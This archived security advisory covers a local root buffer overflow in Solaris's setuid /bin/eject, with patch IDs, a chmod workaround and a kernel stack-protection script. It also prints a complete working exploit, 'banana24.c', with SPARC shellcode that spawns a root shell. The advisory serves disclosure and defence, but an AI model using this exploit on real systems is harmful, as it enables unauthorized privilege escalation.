COMMAND

    /bin/eject

SYSTEMS AFFECTED

    SunOS versions 5.3,  5.4, 5.5, 5.5_x86,  5.5.1, and 5.5.1_x86  are
    vulnerable.

PROBLEM

    Cristian Schipor exploited the buffer overflow hole in  /bin/eject
    on Solaris 2.4 who have suid  exec bit and is owned by  root). The
    buffer  overflow   problem  appears   in  an   internal   function
    media_find().  The result is: any user can gain root shell.

    His exploit for  Solaris 2.4 looks  a bit ugly  (his words) -  the
    buffer  is  two  short  -  but  it  works.  argv[1] can change the
    STACK_OFFSET value (for troubleshotings +- 8 .. +-64 ..  the  step
    is 8).   The interesting  thing about  this exploit  it worked  on
    some machines where it was installed some stuff to make  inofensiv
    buffer overflows exploits ...

    ------------------------- banana24.c -----------------------------

	/* For Solaris 2.4 */

	#include <stdio.h>
	#include <stdlib.h>
	#include <sys/types.h>
	#include <unistd.h>

	#define BUF_LENGTH 264
	#define EXTRA 36
	#define STACK_OFFSET 8
	#define SPARC_NOP 0xc013a61c

	u_char sparc_shellcode[] =

	"\xc0\x13\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68"
	"\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14"
	"\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
	"\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
	"\x91\xd0"/*\x20\x08"*/
	;

	u_long get_sp(void)
	{
	__asm__("mov %sp,%i0 \n");
	}

	void main(int argc, char *argv[])
	{
	char buf[BUF_LENGTH + EXTRA + 8];
	long targ_addr;
	u_long *long_p;
	u_char *char_p;
	int i, code_length = strlen(sparc_shellcode),dso=0;

	if(argc > 1) dso=atoi(argv[1]);

	long_p =(u_long *) buf ;
	targ_addr = get_sp() - STACK_OFFSET - dso;

	for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
	*long_p++ = SPARC_NOP;

	char_p = (u_char *) long_p;

	for (i = 0; i < code_length; i++)
	*char_p++ = sparc_shellcode[i];

	long_p = (u_long *) char_p;

	for (i = 0; i < EXTRA / sizeof(u_long); i++)
	*long_p++ =targ_addr;

	printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
	targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);
	execl("/bin/eject", "eject", & buf,(char *) 0);
	perror("execl failed");
	}
    ----------------------- end of banana24.c ------------------------

SOLUTION

    Sun  recommends,  as  a  workaround,  that  setuid  permission  be
    removed from  the eject  and fdformat  programs by  using commands
    such as the following:

           chmod 555 /usr/bin/eject

    The same vulnerabilities have  been fixed in the  upcoming release
    of Solaris  2.6.   The vulnerabilities  relating to  eject in  the
    volume management library are fixed by the following patches:

        OS version              Patch ID
        ----------              --------
        SunOS 5.5.1             104776-01
        SunOS 5.5.1_x86         104777-01
        SunOS 5.5               103024-02
        SunOS 5.5_x86           103044-02
        SunOS 5.4               101907-14
        SunOS 5.4_x86           101908-14
        SunOS 5.3               101331-07

    To prevent /bin/eject exploit, you  have to get out suid-exec  bit
    from /bin/eject (that's very simple) and compile a little  program
    like:

	main()
	{execl("/bin/eject","eject","floppy",(char *)0);}

    That  allows  your  work  station  ordinary  users to eject floppy
    (thats the main task for eject). It appears that if you're running
    Volume Management (vold),  that eject doesn't  need to be  set-UID
    anyway.

    But for thsoe srunnign SPARCs (non-sun4/sun4c) there's always:

#!/bin/sh
#
# Protect SPARC stack against unwanted exec access
# Side effect: growth in data segment also loses exec bit.
# This may break some programs.
#
# Install as:
#       /etc/init.d/protect_stack
#       ln /etc/init.d/protect_stack /etc/rc2.d/S07protect_stack
#
# And all programs except init are protected after the next reboot.
#
# After installing the scripts, first test with:
#
#       /etc/init.d/protect_stack start
#
#    Then start a new shell and test changes with /usr/proc/bin/pmap.
#
#       csh -fi
#       % pmap $$
#       ......
#       00047000   56K read/write               - instead of rwx
#       0004D000   32K     [ heap ]
#       ......
#       EFFFC000    8K read/write               - instead of rwx
#       EFFFC000   16K     [ stack ]
#       EFFFE000    8K read/write
#
#
# Seems to work on 2.4/2.5/2.5.1 but this may vary by patchlevel.
# Not all Sun MMUs support this, but it seems to haev effect on sun4m and
# sun4u, probably won't have an effect on sun4c.
#
# The assembly checking may need tweaking depending on OS level and
# patchlevel.
#
# Casper Dik (Casper.Dik@Holland.Sun.COM)
#
# The contents of this file  are intended to  be read as
# an example.  This  is not  a  supported product of Sun
# Microsystems  and  no hotline calls  will  be accepted
# which directly relate to this information.
#
# NO LIABILITY WILL BE  ACCEPTED BY SUN MICROSYSTEMS FOR
# ANY LOSS (DIRECT OR CONSEQUENTIAL) INCURRED IN ANY WAY
# BY ANY PARTY THROUGH THE USE OF THIS INFORMATION.
#
# NO WARRANTY  OF  ANY SORT  IS IMPLIED OR GIVEN FOR ANY
# CODE DERIVED FROM THIS INFORMATION.

PATH=/usr/bin:$PATH

#
#
# Set/get values using adb.
#
getvalue ()
{
    echo $1/$2 | adb -k /dev/ksyms /dev/mem | awk  "\"$1:\""' == $1 {print $2}'
}
setvalue ()
{
    echo $1/$2$3 | adb -wk /dev/ksyms /dev/mem >/dev/null 2>&1
}

#
# Check whether setting/unsetting is not dangerous.
#

check ()
{
    map=`getvalue $mapaddr X`
    zfod=`getvalue $zfodaddr x`
    if [ "$map" = "$oldmap" -a "$zfod" = "$oldzfod" ]
    then
        old=true;
    else
        old=false
    fi
    if [ "$map" = "$newmap" -a "$zfod" = "$newzfod" ]
    then
        new=true
    else
        new=false
    fi
}


p=`basename $0`
zfodaddr=zfod_segvn_crargs+0xd
case "`uname -p`" in
sparc)

        #
        # Instruction should at $mapaddr should be: mov 0xf,%reg or mov 0xb,%reg
        # this is a synthetic instruction that encodes as or %g0,0xf,$reg
        # 10rr rrr0 0001 0000 0010 0000 0000 1x11
        #
        # Try and find it at several locations.  Addresses must be specified
        # the way adb prints them.
        #
        for mapaddr in map_hunk+8 map_hunk+0xc
        do
            mapval=`getvalue $mapaddr X`
            case $mapval in
            [9ab][02468ace]10200[bf])
                reg=`expr $mapval : '\(..\)'`
                break;;
            esac
        done
        if [ -z "$reg" ]
        then
            echo "${p}: Instruction doesn't match" 1>&2
            exit 1
        fi

        echo "${p}: Instruction prefix set to $reg ($mapval@$mapaddr)"

        oldmap=${reg}10200f
        newmap=${reg}10200b
        oldzfod=f0f
        newzfod=b0f

;;
i386)
        # Try and find it at several locations.  Addresses must be specified
        # the way adb prints them.
        #
        for mapaddr in map_hunk+0x19
        do
            mapval=`getvalue $mapaddr X`
            case $mapval in
            [bf]f545c6)
                reg=true
                break;;
            esac
        done
        if [ -z "$reg" ]
        then
            echo "${p}: Instruction doesn't match" 1>&2
            exit
        fi
        oldmap=ff545c6
        newmap=bf545c6
        oldzfod=f0f
        newzfod=f0b

;;
*)
        echo "Unknown kernel arch"
        exit 1
;;
esac

case "$1" in
start)
    check
    if $new
    then
        echo "${p}: Stack already protected" 1>&2
        exit 0
    fi
    if $old
    then
        setvalue $mapaddr W $newmap
        setvalue $zfodaddr w $newzfod
        echo "${p}: Stack protected"
    else
        echo "${p}: Kernel value mismatch $map != $oldmap or $zfod != $oldzfod" 1>&2
        exit 1
    fi
    ;;
stop)
    check
    if $old
    then
        echo "${p}: Stack already unprotected" 1>&2
        exit 0
    fi
    if $new
    then
        setvalue $mapaddr W $oldmap
        setvalue $zfodaddr w $oldzfod
        echo "${p}: Stack no longer protected"
    else
        echo "${p}: Kernel value mismatch $map != $newmap or $zfod != $newzfod" 1>&2
        exit 1
    fi
    ;;
*)
    echo "Usage: ${p} [start|stop]" 1>&2
    exit 1;;
esac